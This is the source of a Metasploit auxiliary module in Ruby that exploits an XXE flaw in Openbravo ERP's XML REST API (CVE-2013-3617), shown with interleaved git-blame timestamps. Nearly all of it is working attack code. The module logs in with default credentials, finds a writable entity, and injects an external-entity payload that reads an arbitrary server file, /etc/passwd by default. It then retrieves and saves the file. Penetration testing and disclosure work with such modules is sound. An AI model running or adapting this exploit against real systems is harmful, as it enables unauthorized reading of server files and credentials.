2013-10-30 15:25:48 +00:00
##
2014-10-17 16:47:33 +00:00
# This module requires Metasploit: http://metasploit.com/download
2013-10-30 15:25:48 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'net/dns'
require 'rexml/document'
class Metasploit4 < Msf :: Auxiliary
include Msf :: Exploit :: Remote :: HttpClient
include Msf :: Auxiliary :: Report
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > 'Openbravo ERP XXE Arbitrary File Read' ,
'Description' = > %q{
The Openbravo ERP XML API expands external entities which can be defined as
local files . This allows the user to read any files from the FS as the
user Openbravo is running as ( generally not root ) .
This module was tested againt Openbravo ERP version 3 . 0 MP25 and 2 . 50 MP6 .
} ,
'Author' = >
[
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
] ,
2013-10-30 16:36:16 +00:00
'References' = >
[
2013-10-30 17:25:55 +00:00
[ 'CVE' , '2013-3617' ] ,
2013-11-04 18:10:38 +00:00
[ 'OSVDB' , '99141' ] ,
[ 'BID' , '63431' ] ,
2013-10-30 17:25:55 +00:00
[ 'URL' , 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats' ]
2013-10-30 16:36:16 +00:00
] ,
2013-10-30 15:25:48 +00:00
'License' = > MSF_LICENSE ,
'DisclosureDate' = > 'Oct 30 2013'
) )
register_options (
[
OptString . new ( 'TARGETURI' , [ true , " Base Openbravo directory path " , '/openbravo/' ] ) ,
OptString . new ( 'USERNAME' , [ true , " The Openbravo user " , " Openbravo " ] ) ,
OptString . new ( 'PASSWORD' , [ true , " The Openbravo password " , " openbravo " ] ) ,
OptString . new ( 'FILEPATH' , [ true , " The filepath to read on the server " , " /etc/passwd " ] ) ,
OptString . new ( 'ENDPOINT' , [ true , " The XML API REST endpoint to use " , " ADUser " ] )
] , self . class )
end
def run
print_status ( " Requesting list of entities from endpoint, this may take a minute... " )
users = send_request_raw ( {
'method' = > 'GET' ,
'uri' = > normalize_uri ( datastore [ 'TARGETURI' ] , " /ws/dal/ #{ datastore [ " ENDPOINT " ] } " ) ,
'authorization' = > basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
} , 60 )
if ! users or users . code != 200
2015-04-16 19:08:33 +00:00
fail_with ( Failure :: NoAccess , " Invalid response. Check your credentials and that the server is correct. " )
2013-10-30 15:25:48 +00:00
end
xml = path = id = other_id = '' #for later use
doc = REXML :: Document . new users . body
doc . root . elements . each do | user |
id = user . attributes [ " id " ]
other_id = user . attributes [ " identifier " ]
print_status ( " Found #{ datastore [ " ENDPOINT " ] } #{ other_id } with ID: #{ id } " )
print_status ( " Trying #{ other_id } " )
xml = %Q{ <?xml version="1.0" encoding="UTF-8"?>
< ! DOCTYPE foo [
< ! ELEMENT comments ANY >
< ! ENTITY xxe SYSTEM " file://}
xml << " #{ datastore [ 'FILEPATH' ] } \" > ]> \n "
xml << '<ob:Openbravo xmlns:ob="http://www.openbravo.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
xml << " < #{ datastore [ " ENDPOINT " ] } id= \" #{ id } \" identifier= \" #{ other_id } \" > "
xml << " <id> #{ id } </id> "
xml << '<comments>&xxe;</comments>'
xml << " </ #{ datastore [ " ENDPOINT " ] } > "
xml << '</ob:Openbravo>'
resp = send_request_raw ( {
'method' = > 'PUT' ,
'uri' = > normalize_uri ( target_uri . path , " /ws/dal/ #{ datastore [ " ENDPOINT " ] } / #{ id } " ) ,
'data' = > xml ,
'authorization' = > basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
} )
if ! resp or resp . code != 200 or resp . body =~ / Not updating entity /
print_error ( " Problem updating #{ datastore [ " ENDPOINT " ] } #{ other_id } with ID: #{ id } " )
next
end
print_status ( " Found writeable #{ datastore [ " ENDPOINT " ] } : #{ other_id } " )
u = send_request_raw ( {
'method' = > 'GET' ,
'uri' = > normalize_uri ( datastore [ 'TARGETURI' ] , " /ws/dal/ #{ datastore [ " ENDPOINT " ] } / #{ id } " ) ,
'authorization' = > basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
} )
u = REXML :: Document . new u . body
path = store_loot ( 'openbravo.file' , 'text/plain/' , datastore [ 'RHOST' ] , u . root . elements [ " //comments " ] . first . to_s , " File from Openbravo server #{ datastore [ 'RHOST' ] } " )
break
end
if path != ''
print_status ( " Cleaning up after ourselves... " )
xml . sub! ( '&xxe;' , '' )
send_request_raw ( {
'method' = > 'PUT' ,
'uri' = > normalize_uri ( target_uri . path , " /ws/dal/ #{ datastore [ " ENDPOINT " ] } / #{ id } " ) ,
'data' = > xml ,
'authorization' = > basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
} )
print_good ( " File saved to: #{ path } " )
end
end
end